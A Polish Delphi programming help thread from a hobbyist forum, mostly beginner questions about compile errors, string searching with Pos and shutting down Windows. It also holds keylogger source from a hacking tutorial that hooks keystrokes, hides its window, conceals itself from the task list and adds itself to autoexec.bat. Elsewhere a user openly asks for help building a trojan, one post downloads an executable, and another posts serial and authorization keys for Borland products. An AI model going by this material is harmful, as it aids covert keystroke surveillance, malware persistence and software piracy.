Jak macie problem z delphi to tutaj ->

marmex

Użytkownik
Dołączył
Sierpień 27, 2006
Posty
7
Komponent gauge przeciez nie trzea sciagac ;]
A na drugie pytanie nie umiem odpowiedziec
------------------------------------------------------------------
Teraz ja mam pytanie :

Przerabiałem kurs o pisaniu keyloggera w delphi ze strony www.haxite.org i mam taki problem :

//kod zródłowy

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, CoolTrayIcon;

type
TForm1 = class(TForm)
CoolTrayIcon1: TCoolTrayIcon;
memo1: TMemo;
procedure FormCreate(Sender: TObject);


private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation
var
Hook:Integer;
MessageBuffer:TEventMsg;


{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin
form1.Hide;

end;

function play(Code: integer; wParam, lParam: Longint): Longint; stdcall;
begin
case Code of
HC_ACTION: begin
MessageBuffer := PEventMsg(lParam)^;
if MessageBuffer.message = wm_KeyDown then
begin
Form1.Memo1.Text := Form1.Memo1.Text + chr(MessageBuffer.paraml);
Result := 0;
end;
end;

else begin
Result := CallNextHookEx(Hook, Code, wParam, lParam);
end;
end;
end;

procedure TForm1.FormCreate(Sender: TObject);

begin
Hook:=SetWindowsHookEx(wh_journalrecord,play,HInstance,0);
end;

procedure TForm1FormDestroy(Sender: TObject);
begin
UnHookWindowsHookEx(Hook);
end;


function registerserviceprocess(pid,blah:longint):boolean;
stdcall; external 'kernel32.dll' name 'RegisterServiceProcess';


procedure TForm1.FormCreate(Sender: TObject);
begin
registerserviceprocess(0,1);
end;

var
Plik : TextFile;
begin
AssignFile(Plik,'C:autoexec.bat');
Append(Plik);
Writeln(Plik,'C:Windowsdiagnostic.exe');
CloseFile(Plik);
end.

I wysakują bledy :
[Warning] Unit1.pas(57): Return value of function 'play' might be undefined
[Error] Unit1.pas(63): Identifier redeclared: 'TForm1.FormCreate'
[Error] Unit1.pas(78): Identifier redeclared: 'TForm1.FormCreate'
[Fatal Error] Project1.dpr(5): Could not compile used unit 'Unit1.pas'

Kto pomoze ?? ;/
Ps. Wazne
 

lade

Użytkownik
Dołączył
Styczeń 29, 2007
Posty
480
To:Triniti:
funkcje restarty wylogowania i zamykania mozna zrobic za pomoca przywileju 4programmers.net
lub polecen DOS-a
poszukaj
 

avaris

Użytkownik
Dołączył
Kwiecień 3, 2007
Posty
6
marmex: pomysl troche "Identifier redeclared: 'TForm1.FormCreate' " - masz zdublowana procedure TForm1.FormCreate.

Trinity:
ExitWindowsEx(EWX_POWEROFF,0);[/b]

pamietam ze ta funkcja w XP cos nie dzialala... pewniej jest uzyc ShellExecute:

uses ShellApi;

ShellExecute(handle,'open','shutdown.exe','-s -f -t 1','c:windows',sw_normal);


ps. heh troche 'out of date', nie zauwazylem
<
 

Dark Smark

Były Moderator
Dołączył
Kwiecień 29, 2006
Posty
1953
Re: key

Originally posted by Morales
zapoda ktos full serial keya do delphie i cbuilder 6? PROSZE xD
Jak byś nie napisał proszę to bym niedał...
[hide:3ee34f40d8]
DELPHI
http://www.borland.pl/downloads/delphi_7_p...i7_Personal.zip
CD-KEY: WJ5Q-8SCM6Q-JUZRZU-WQ7R
Authorization Key: UZS-9CQ[/b]
CBUILDER 6
http://www.borland.pl/downloads/bcb6_perso..._6_personal.exe
Serial Number is ?2xf-xt?gm-n3nee
Authorization Key is p9x-?kh[/b]
[/hide:3ee34f40d8]
Proszę
 

krzint

Użytkownik
Dołączył
Sierpień 13, 2005
Posty
12
Jak zrobic if'a zeby dzialal tylko na okreslony prgram.

Chodzi mi o np.

Jak jest uruchomiony Notepad, albo Moje dokumenty to warunek jest spełniony.
Prosze o szybka odpowiedz
 

nergal34

Użytkownik
Dołączył
Czerwiec 13, 2007
Posty
11
Nie kompiluje...

Zauważyłem, że gdy uruchamiam kompilację w D7 na moment znika i pojawia się object inspector, object treeview i form. Dalej nic się nie dzieje, żadnego błędu nic. Zawsze tworzy się plik exe o takiej samej pojemnośco 367kb, nie ma znaczenia jaki kod kompiluje. Występuje to przeważnie jak otworze jakiś projekt kolejny raz. Proszę o pomoc, jeśli ktoś zna rozwiązanie będę bardzo wdzięczny!
 

adikx

Użytkownik
Dołączył
Maj 21, 2007
Posty
415
Witam.
Więc żeby nie robić nowego tematu napisze tutaj. A wiedz pisze trojana i gdy chce go zkomplikować wywala mi błąd na ShellExecute oto error:
Kod:
[Error] Unit1.pas(88): Undeclared identifier: 'ShellExecute'
 

0wn3r

Były Moderator
Dołączył
Marzec 10, 2007
Posty
1330
Originally posted by adikx
Witam.
Więc żeby nie robić nowego tematu napisze tutaj. A wiedz pisze trojana i gdy chce go zkomplikować wywala mi błąd na ShellExecute oto error:
Kod:
[Error] Unit1.pas(88): Undeclared identifier: 'ShellExecute'

Dodaj do uses shellapi i powinno wszystko działać.
 

dyzio1237

Użytkownik
Dołączył
Czerwiec 30, 2007
Posty
1
JA z kolei na inny temat

Czy ktos ma link do delphie 6 personal E. bo nigdzie niemoge tego znalesc a bardzo potrzebuje dzieki z góry thx:D
 

novyTeaM

Użytkownik
Dołączył
Grudzień 4, 2007
Posty
13
Kod:
if URLDownloadToFile(nil,'http://www.serwer.com/plik.exe', 'c:plik.exe',0, nil) <> 0 then

Memo3.Lines.add('Błąd podczas ściągania pliku');

oki a jak mam zrobić że gdy wartość równa się 1 to żeby wyświetlił inną wiadomość?

ps a dało by się zrobić w prosty sposób żeby do każdego loga podawał godzinę systemową?




s := 'Jakiś tekst!';
mam pytanie jak mam dodać ta zmienna do memo

chodzi mi o

Kod:
Memo3.Lines.add('Błąd podczas ściągania pliku + [b]zmienna s[/b]');


i jeszcze jedno jak zrobić aby wiadomości dodawane do memo nie wyskakiwały na raz tylko np co 1 sekundę? Pamiętam że robiło się to za pomocą timera.

[ Dodano: 14-12-2007, 15:22 ]
ok ok z tym wszytskim sobie poradziłem. Ale mam mały problem:


Kod:
function GetLinks(WebBrowser : TWebBrowser) : String;

var
Form1: TForm1;
s: String ;
b1: String ;
b2: String ;
s2 : String;
a : Integer;
I : integer;
str : String;
str2 : String ;


[Error] ftkpro.pas(63): Unsatisfied forward or external declaration: 'GetLinks'

Kod:
procedure TForm1.Timer2Timer(Sender: TObject);
begin

for a := 0 to WebBrowser.OleObject.Document.Links.Length-1 do
s2:=s2+(WebBrowser.OleObject.Document.Links.Item(a).href)+#13;
Result:=s2;
end;

end.


[Error] ftkpro.pas(166): Object or class type required



Bardzo proszę o pomoc!
 

tigerjp

Użytkownik
Dołączył
Grudzień 20, 2007
Posty
52
witam

Kod:
If (Pos('cze', Edit1.Text)=1) then begin

close;

czyli: jeśli w polu edit1 słowo zaczyna się od "cze" np. "cze, cześć, czeeee, czee33f4" to wykona polecenie: zamknij program...

Teraz moje pytanie brzmi:
Co zrobić by sprawdzało słowo "cze" w śród innych wyrazów? np. ktoś napisze "no cześć" to program w tym momencie się nie wyłączy bo jest na początku napisane "no ".

Czy POS może sprawdzać wyrazy w środku zdania i jeśli one wystąpią to wykona dalsze polecenie? Ewentualnie podajcie inne sposoby na tego typu rzeczy.

Dziękuję
 

milosz0010

Użytkownik
Dołączył
Maj 6, 2007
Posty
248
Funkcja pos nie jest wyszukiwaniem frazy od poczatku, to jest wlasnie wyszukiwanie frazy w calym stringu(np edicie).
 

T$cr!pt3r

Użytkownik
Dołączył
Lipiec 23, 2007
Posty
207
O ile dobrze zrozumiałem chodzi ci o pierwsze słowo ma być "cze" i wtedy ma nastąpić zamknięcie programu to zrób to tak:
Kod:
var

 Raz,Dwa,Trzy:Char;

begin

 Raz := Edit1.Text[1];

 Dwa := Edit1.Text[2];

 Trzy := Edit1.Text[3];

 if Raz+Dwa+Trzy='cze' then Close;

end;
Jest to mało profesjonalne, ale na pewno nie zawiedzie.
 

tigerjp

Użytkownik
Dołączył
Grudzień 20, 2007
Posty
52
Miloszu
Spójrz:
pos_cze.JPG


Jeśli jest taki kod jak na screenie i w edicie wpisze się "no cze" to on nie wyłączy programu. Musiałbym wpisać w edicie słowo zaczynające się od "cze" tak jak ma w kodzie np. "czekolada" i wtedy wyłączy program.

@T$cr!pt3r
Twój kod działa na takiej zasadzie, że jeśli pierwszymi trzema znakami są "cze" to wyłączy program, ale jak napiszę przed tym np. "z" to już go nie wyłączy.

Dziękuję za starania, ale nadal muszę kombinować lub oczekiwać pomocy na tym forum
smile.gif


Dzięki chłopaki =]
 

chudy1993

Użytkownik
Dołączył
Luty 24, 2007
Posty
174
Wykombinowałem coś takiego:
Kod:
procedure TForm1.Button1Click(Sender: TObject);

var

  a,temp:string;

  i,temp2:integer;

  spr:boolean;

begin

a:=Edit1.Text;

spr:=true;

i:=1;

repeat  //wydobywamy pierwszy wyraz

  begin

     if (a[i]=' ') then

        spr:=false

     else

      temp:=temp+a[i];

     inc(i);

  end;

until ((spr=false) or (i>length(a)));



temp2:=pos('cze',temp); //jesli w pierwszym wyrazie jest "cze" to wylaczamy program

if (temp2<>0) then

  Application.Terminate;

end;
Chyba o to ci chodziło.
 

tigerjp

Użytkownik
Dołączył
Grudzień 20, 2007
Posty
52
tak się staracie mi pomóc, że aż trudno mi powiedzieć, że nadal żaden z waszych kodów nie działa tak jak powinien.

Wkleiłem twój kod Drogi "Chudy"
<
k: i wpisałem do edita np.: "hej cze" po czym nadusiłem button i nic się nie działo.
Tzn program wyłączy się tylko jak wyraz "cze" będzie wyrazem zaczynającym się.

A ja usiłuję się dowiedzieć w jaki sposób zrobić program, który bez względu na kolejność wystąpienia danego słowa wyłączy ten program (byle te słowo wystąpiło gdziekolwiek w edicie).
Może są inne sposoby niż POS?
 
Do góry Bottom